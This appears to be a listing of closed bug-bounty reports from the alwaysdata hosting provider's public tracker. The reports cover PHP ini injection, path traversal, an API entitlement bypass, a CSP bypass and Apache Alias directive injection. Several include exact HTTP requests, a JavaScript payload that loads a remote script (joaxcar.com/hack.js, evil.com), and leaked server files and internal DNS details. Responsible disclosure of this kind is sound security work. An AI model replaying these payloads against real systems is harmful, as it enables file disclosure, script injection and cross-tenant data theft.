CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (CRITICAL)
Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request Privileges: Low (PR:L) - Requires valid API token User Interaction: None (UI:N) - No victim action needed Scope: Unchanged (S:U) - Within account boundaries Confidentiality: High (C:H) - Read any file, execute commands Integrity: High (I:H) - Write/modify any file Availability: High (A:H) - Can delete files, disrupt service
Note: Scope is "Unchanged" because the execution runs as the authenticated user. If the attacker can read other users' data (cross-tenant), Scope would be "Changed" and score would increase to 10.0 (CRITICAL).
REMEDIATION RECOMMENDATION
1. IMPLEMENT DIRECTIVE ALLOWLIST
Only allow safe PHP ini directives such as:
memory_limit, upload_max_filesize, post_max_size
max_execution_time, max_input_time
date.timezone, error_reporting
Block dangerous directives:
auto_prepend_file, auto_append_file
disable_functions, disable_classes
open_basedir, allow_url_include
extension_dir, extension
error_log (to prevent log injection)
2. ENFORCE OPEN_BASEDIR
Always set open_basedir to restrict PHP to the account's home
directory, preventing access to system files and other users' data.
3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL
Add disable_functions = shell_exec, exec, system, passthru, popen,
proc_open, pcntl_exec to the account's PHP-FPM pool configuration.
This should NOT be overridable through the php_ini field.
4. INPUT VALIDATION
Validate that the php_ini field only contains approved directives.
Reject any input containing "=" assignments for unapproved directives.
Parse the input server-side and apply only allowed values.
5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)
In the PHP-FPM pool configuration, set:
php_admin_value[auto_prepend_file] = none
php_admin_value[open_basedir] = /home/{account}/
- php_admin_value directives CANNOT be overridden by user-level ini
directives, providing a secure baseline.
|
|
409 | Path Traversal in site path field leads to arbitrary fi ... | Closed | 15.07.2026 |
Task Description
TITLE: Path Traversal in Site Management `path` field allows reading arbitrary
system files via DocumentRoot manipulation
SEVERITY: HIGH (CVSS 3.1: 7.7)
SUMMARY
The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts arbitrary directory traversal sequences (e.g., `../../../../`) with NO canonicalization or validation. This allows an authenticated attacker to set the Apache DocumentRoot to any directory on the filesystem, enabling read access to ANY world-readable file on the server via HTTP GET requests.
Since the `path` change takes effect WITHOUT a server restart, the attacker can immediately read files by accessing the site's URL after updating the path.
This also enables cross-tenant data access — any file on the server that is world-readable (including files in shared /tmp, system configuration files, and potentially other users' data with loose permissions) can be retrieved.
STEPS TO REPRODUCE
Prerequisites: - A valid alwaysdata API token with account access - An existing site (site_id known)
Step 1: Get the current site configuration to confirm baseline
Request:
GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json
Response: 200 OK
{
"id": 1060051,
"path": "www/",
"addresses": ["victim.alwaysdata.net/"],
...
}
Step 2: PATCH the site with a path traversal payload
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"../../../../"}
Response: 204 No Content
The `path` "../../../../" resolves from /home/{account}/www/ to the filesystem root (/), setting DocumentRoot to /.
Step 3: Access a system file via the site URL
Request:
GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*
Response: 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)
The file /etc/passwd was served as a static file through Apache with no authentication or access control applied.
Step 4: Confirm the change is immediate (no restart required)
No server restart or reload was required. The path change is reflected in the next HTTP request, confirming that the DocumentRoot is dynamically regenerated.
Step 5: Restore original path
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"www/"}
Response: 204 No Content
EVIDENCE
Evidence 1: API acceptance of path traversal payload
PATCH request with path "../../../../" returned 204 No Content, confirming the value was accepted without any canonicalization or rejection.
Evidence 2: Successful read of /etc/passwd via web
HTTP GET /etc/passwd returned 200 OK with the full contents of the system password file (1764 bytes), including all 35 system users: - root, daemon, bin, sys, sync, games, man, mail, news, uucp - proxy, www-data, backup, list, irc, _apt, nobody - systemd-network, messagebus, sshd, munin, and more
Evidence 3: No restart required
The path change was reflected immediately in the very next HTTP request, with no restart or reload needed.
IMPACT
An attacker with API access (valid account credentials) can:
1. Read ANY world-readable file on the server, including:
System configuration files (/etc/passwd, /etc/shadow if readable)
Application configuration files
Database credentials in config files
Other users' files with loose permissions
SSL/ TLS certificates and private keys
Source code deployed on the server
2. Access files in /tmp/ that belong to other users on the same server
(cross-tenant data leakage).
3. Map the internal server structure, enumerate users, and find sensitive
information for further attacks.
4. The attack requires no user interaction and no unusual preconditions
beyond valid API credentials.
This vulnerability can be combined with other site management weaknesses (such as unrestricted php_ini directive injection) for code execution, amplifying the impact to full server compromise
CVSS 3.1 SCORE
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Base Score: 7.7 (HIGH)
Attack Vector: Network (AV:N) - Exploitable remotely Attack Complexity: Low (AC:L) - Simple PATCH request Privileges: Low (PR:L) - Requires valid API token User Interaction: None (UI:N) - No victim action needed Scope: Changed (S:C) - Reads files outside account boundary Confidentiality: High (C:H) - System files accessible Integrity: None (I:N) - Read-only Availability: None (A:N) - No DoS impact
REMEDIATION RECOMMENDATION
1. Canonicalize the `path` input and verify it resolves to a path WITHIN the
account's allowed directory (e.g., /home/{account}/).
2. Reject any path that contains directory traversal sequences (../ or ..\)
or resolves outside the allowed base directory.
3. Apply allowlist validation: only allow known-safe subdirectory names
(e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.
4. Implement server-side path normalization using realpath() or equivalent
to resolve symlinks and traversal sequences before accepting the path.
|
|
408 | API bypasses Databases feature entitlement (create plan ... | Closed | 14.07.2026 |
Task Description
Severity
Medium — CVSS 3.1 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) — broken authorization / plan-restriction bypass.
Summary
On an account where the Databases feature is not enabled, the administration interface correctly blocks database creation with "Feature unavailable — This feature is currently not available for this account." However, the REST API (POST /v1/database/) does not perform the same entitlement check and returns 201 Created. The resulting MySQL/MariaDB (and PostgreSQL) database is fully functional and reachable on mysql-<account>.alwaysdata.net. The plan restriction is enforced only in the UI, not server-side in the API.
Steps to reproduce
Step 1 — The UI enforces the entitlement (feature is genuinely gated). Request:
GET /database/add/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=<your admin session>
Response:
HTTP/2 200 OK
Content-Type: text/html
<h1>Feature unavailable</h1>
<p>This feature is currently not available for this account.
Please contact us if you want to activate it.</p>
Step 2 — The API bypasses the entitlement. Request:
POST /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Content-Type: application/json
{"name":"YOUR-ACCOUNT_qz","type":"MYSQL"}
Response:
HTTP/2 201 Created
Location: /v1/database/<id>/
Content-Length: 0
Step 3 — The database exists and is fully functional. Request:
GET /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Response:
HTTP/2 200 OK
Content-Type: application/json
[{"id":<id>,"name":"YOUR-ACCOUNT_qz","type":"MYSQL","href":"/v1/database/<id>/","permissions":{"YOUR-ACCOUNT":"FULL"}}]
The database accepts real connections (a default DB user exists; its password is set via PATCH /v1/database/user/<id>/):
$ mysql -h mysql-<account>.alwaysdata.net -u <account> -p***** -e "SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;"
<account>@% 11.4.12-MariaDB
information_schema
<account>_qz
Step 4 (optional) — Confirms the gate is real, not a transient UI state. DELETE /v1/database/<id>/ returns 204. Reloading GET /database/add/ again returns the "Feature unavailable" page, so the account genuinely lacks the entitlement; only the API fails to enforce it.
Reproduced multiple times. The same bypass also works for "type":"POSTGRESQL" (also plan-gated), so it is not engine-specific. My API token is omitted from this public report and can be provided privately if needed.
Impact
A customer whose plan does not include the Databases feature can create and use functional MySQL/MariaDB and PostgreSQL databases through the API, obtaining a resource their plan does not permit. The entitlement check is missing on the server side (API) and enforced only in the UI, allowing the restriction to be bypassed programmatically.
Enforce the account's feature entitlements server-side on the API resource-create endpoints (POST /v1/database/ and any other plan-gated resource), returning the same "feature not available for this account" rejection that the UI applies.
|
|
407 | A Content Security Policy (CSP) bypass | Closed | 15.07.2026 |
Task Description
Summary A Content Security Policy (CSP) bypass vulnerability exists on the website https://www.alwaysdata.com/en/, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.
Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
Details Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources. Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil. Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful. Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string. Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.
POC 1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want) 3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope> <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> <img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'> </div> ">` 4. See the popup, look at network tools and see that the script is loaded from
Impact: This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.
Payload document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope> <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> <img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'> </div> ">`
|
|
403 | LFI via Apache Alias Directive Injection in `vhost_addi ... | Closed | 13.07.2026 |
Task Description
## Summary
The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a URL path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).
Relationship to FS#347 : FS#347 reported "Unrestricted Apache Directive Injection Leading to RCE" and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via PHP bypass — this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.
## Severity
High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Environment
| Detail | Value |
| ——– | ——- |
| Account | subhash (ID 486630) |
| Site | subhash.alwaysdata.net (ID 1058919) |
| Server | http21 (Debian 12, shared hosting) |
## Steps to Reproduce
### Step 1 — Inject Alias directive via site configuration
Navigate to `https://admin.alwaysdata.com/site/1058919/` and add the following to the "Additional Apache directives" field:
```apache Alias /read-etc /etc <Directory /etc>
Require all granted
Options +Indexes
</Directory> ```
Save the form. Alternatively via API:
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic [token] Content-Type: application/json
{
"vhost_additional_directives": "Alias /read-etc /etc\n<Directory /etc>\n Require all granted\n Options +Indexes\n</Directory>"
} ```
Response: `204 No Content` — accepted without validation.
### Step 2 — Read /etc/passwd (system users)
After Apache reload (~10 seconds):
```http GET /read-etc/passwd HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Server: Apache Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin _dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin sshd:x:107:65534::/run/sshd:/usr/sbin/nologin munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin […34 system accounts total] ```
### Step 3 — Read /etc/resolv.conf (internal DNS infrastructure)
```http GET /read-etc/resolv.conf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` search paris1.alwaysdata.com alwaysdata.com alwaysdata.net options timeout:2 options attempts:1 nameserver ::1 nameserver 2a00:b6e0:1:14:1::1 nameserver 8.8.4.4 ```
Impact: Exposes internal domain `paris1.alwaysdata.com`, internal DNS IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.
### Step 4 — Read /etc/fstab (storage architecture)
```http GET /read-etc/fstab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` LABEL=root / ext4 noatime,errors=remount-ro 0 0 LABEL=usr /usr ext4 noatime,nodev 0 0 LABEL=var /var ext4 noatime,nodev,nosuid 0 0 LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0 proc /proc proc hidepid=2,gid=4 0 0 ```
Impact: Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).
### Step 5 — Directory listing of /etc/ (with Options +Indexes)
```http GET /read-etc/ HTTP/1.1 Host: subhash.alwaysdata.net ```
The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.
### Step 6 — Cleanup
The `vhost_additional_directives` field was immediately cleared after testing.
## Difference from FS#347
| Aspect | FS#347 (original report) | This report |
| ——– | ————————– | ————- |
| Focus | RCE via PHP bypass | LFI via Alias — file reads |
| Status | Closed | Alias LFI still works |
| Evidence | Directive injection concept | Concrete reads: passwd, resolv.conf, fstab, hostname |
| Impact demonstrated | Theoretical RCE | Actual infrastructure data exfiltrated |
If FS#347 was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.
## Root Cause
The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any URL path to any filesystem path, and `<Directory>` with `Require all granted` opens access.
## Impact
Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads:
| File | Data Exposed |
| —— | ————- |
| `/etc/passwd` | 34 system service accounts |
| `/etc/hostname` | Internal hostname `http21` |
| `/etc/resolv.conf` | Internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1` |
| `/etc/fstab` | NAS `/home`, partition layout, `hidepid=2` |
| `/etc/os-release` | Debian GNU/Linux 12 (bookworm) |
| `/etc/mysql/my.cnf` | MariaDB socket path, config structure |
| `/etc/crontab` | System cron schedule |
## Suggested Fix
1. Allowlist safe directives: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network. 2. Sandbox directive scope: Enforce that all directives operate within `/home/{account}/` only.
|
|
401 | Critical SSRF via Application Script Source URI — Cross ... | Closed | 13.07.2026 |
Task Description
Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak Severity: Critical Target: admin.alwaysdata.com Auth: Free-tier account (no special permissions)
Summary The "Installation script source URI" field accepts internal URLs like `<REDACTED>`. The server fetches the URL from its own backend and stores the full response in the script field, readable by the attacker. No IP/port validation exists. This leaks other customers' data, internal server names, and full stack traces.
Steps to Reproduce 1. Log in to `https://admin.alwaysdata.com` (free account works) 2. Go to Web → Sites → Applications → Application scripts → Add 3. Fill required fields with any values. For Installation script enter:
#!/bin/bash
site:
type: custom
echo installed
4. Set Installation script source URI to: `<REDACTED>` 5. Click Submit
6. Click the refresh/update icon next to the script (or visit `/site/application/script/<ID>/update_script/`) 7. Open the script edit page — the Installation script textarea now contains <REDACTED>.
Impact - Cross-tenant data leak — read other customers' account names, domains, and operations - Internal infrastructure mapping — server hostnames, paths, stack traces exposed - Firewall bypass — requests come from the server itself, reaching localhost-only services - No rate limit — can probe unlimited internal ports/services - 147 MB exfiltrated in a single request with no size restriction
—
Thank You
|
|
397 | Unvalidated Apache Directives in Site API — LFI, SSRF, ... | Closed | 13.07.2026 | |
|
396 | Server Crash via X-Forwarded-Host | Closed | 13.07.2026 | |
|
395 | LFI via Apache Alias Directive Injection in `vhost_addi ... | Closed | 13.07.2026 | |
|
394 | SSRF via ProxyPass Directive Injection — Internal Port ... | Closed | 13.07.2026 | |
|
393 | Cross-Tenant Data Exposure via Shared /tmp Directory — ... | Closed | 13.07.2026 | |
|
392 | Path Traversal in Site `path` Field Allows Reading Arbi ... | Closed | 13.07.2026 | |
|
391 | Dangerous PHP INI Injection via Site API — `allow_url_i ... | Closed | 13.07.2026 | |
|
390 | Environment Variable Injection — LD_PRELOAD and PATH Ac ... | Closed | 13.07.2026 | |
|
389 | Cross-Tenant Session Token Theft via Shared /tmp — Acco ... | Closed | 13.07.2026 | |
|
388 | Privilege Escalation — Free-Tier User Sets Reseller-Lev ... | Closed | 13.07.2026 | |
|
375 | Cross-Site Request Forgery (CSRF) Allows Restart of An ... | Closed | 13.07.2026 | |
|
371 | attacker test | Closed | 12.07.2026 | |
|
368 | test | Closed | 11.07.2026 | |
|
367 | Root Privilege Escalation via Sudo Option Injection | Closed | 10.07.2026 | |
|
366 | Broken Access Control – Revoked User Can Access Histori ... | Closed | 09.07.2026 | |
|
365 | Cross-Site Request Forgery (CSRF) in Notification "Seen ... | Closed | 03.07.2026 | |
|
364 | Bug bounty — cross-tenant /tmp disclosure (FS#363) umas ... | Closed | 02.07.2026 | |
|
363 | Cross-tenant file disclosure via world-readable shared ... | Closed | 02.07.2026 | |
|
362 | Email Verification Bypass via Google OAuth Account Link ... | Closed | 02.07.2026 | |
|
361 | Broken Access Control / Improper Authorization | Closed | 02.07.2026 | |
|
360 | User Enumeration via Password Reset Functionality | Closed | 02.07.2026 | |
|
359 | DNSSEC Misconfiguration | Closed | 02.07.2026 | |
|
358 | Inadequate Concurrent Sessions | Closed | 02.07.2026 | |
|
357 | Bug Bounty Report : MTA-STS Missing | Closed | 02.07.2026 | |
|
356 | Outdated Exim SMTP Server (Version 4.96) Potentially A ... | Closed | 02.07.2026 | |